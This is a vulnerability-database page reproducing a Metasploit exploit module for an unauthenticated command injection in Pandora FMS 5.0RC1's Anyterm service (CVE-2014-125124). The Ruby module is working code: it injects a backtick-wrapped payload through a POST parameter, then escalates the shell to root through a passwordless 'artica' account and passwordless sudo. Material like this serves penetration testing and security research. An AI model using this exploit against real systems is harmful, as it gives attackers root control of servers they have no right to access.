Lucene search
+L

Pandora FMS Remote Code Execution

🗓️ 29 Jan 2014 00:00:00Reported by xistence <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 24 Views

Pandora FMS 5.0RC1 Command Injection Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2014-125124
29 May 201815:50
circl
cnnvd
CNNVD
Pandora FMS 安全漏洞
31 Jul 202500:00
cnnvd
cve
CVE
CVE-2014-125124
31 Jul 202515:00
cve
cvelist
Cvelist
CVE-2014-125124 Pandora FMS <= 5.0RC1 Anyterm Unauthenticated Command Injection
31 Jul 202515:00
cvelist
euvd
EUVD
EUVD-2014-9814
7 Oct 202500:30
euvd
nvd
NVD
CVE-2014-125124
31 Jul 202515:15
nvd
openvas
OpenVAS
Pandora FMS < 5.0 RCE Vulnerability - Active Check
30 Jan 201400:00
openvas
openvas
OpenVAS
Kloxo SQLi and RCE Vulnerability
22 Feb 201400:00
openvas
ptsecurity
Positive Technologies
PT-2025-31544 · Undefined · Undefined
31 Jul 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2014-125124
2 Aug 202520:23
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Pandora FMS Remote Code Execution",
        'Description' => %q{
          This module exploits a vulnerability found in Pandora FMS 5.0RC1 and lower.
          It will leverage an unauthenticated command injection in the Anyterm service on
          port 8023/TCP. Commands are executed as the user "pandora". In Pandora FMS 4.1 and 5.0RC1
          the user "artica" is not assigned a password by default, which makes it possible to su
          to this user from the "pandora" user. The "artica" user has access to sudo without a
          password, which makes it possible to escalate privileges to root. However, Pandora FMS 4.0
          and lower force a password for the "artica" user during installation.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
        ],
        'References' => [
          ['CVE', '2014-125124'],
        ],
        'Payload' => {
          'BadChars' => "",
          'Compat' =>
                        {
                          'PayloadType' => 'cmd',
                          'RequiredCmd' => 'generic perl python',
                        }
        },
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          ['Pandora 5.0RC1', {}]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2014-01-29',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8023),
        OptString.new('TARGETURI', [true, 'The base path to the Pandora instance', '/']),
      ]
    )
  end

  def on_new_session(client)
    print_status("Trying to escalate privileges to root")
    [
      # ignore SIGHUP so the server doesn't kill our root shell
      "trap '' HUP",
      # Spawn a pty for su/sudo
      "python -c 'import pty;pty.spawn(\"/bin/sh\")'",
      # Su to the passwordless "artica" account
      "su - artica",
      # The "artica" use has sudo rights without the need for a
      # password, thus gain root priveleges
      "sudo -s",
    ].each do |command|
      vprint_status(command)
      client.shell_write(command + "\n")
    end

    super
  end

  def check
    # Check version
    print_status("Trying to detect Pandora FMS Remote Gateway")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "anyterm.html")
    })

    if res && res.code == 200 && res.body.include?("Pandora FMS Remote Gateway")
      print_good("Pandora FMS Remote Gateway Detected!")
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    print_status("Sending payload")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "/anyterm-module"),
      'vars_post' => {
        'a' => "open",
        'p' => "`#{payload.encoded}`"
      }
    })

    if !res || res.code != 200
      fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation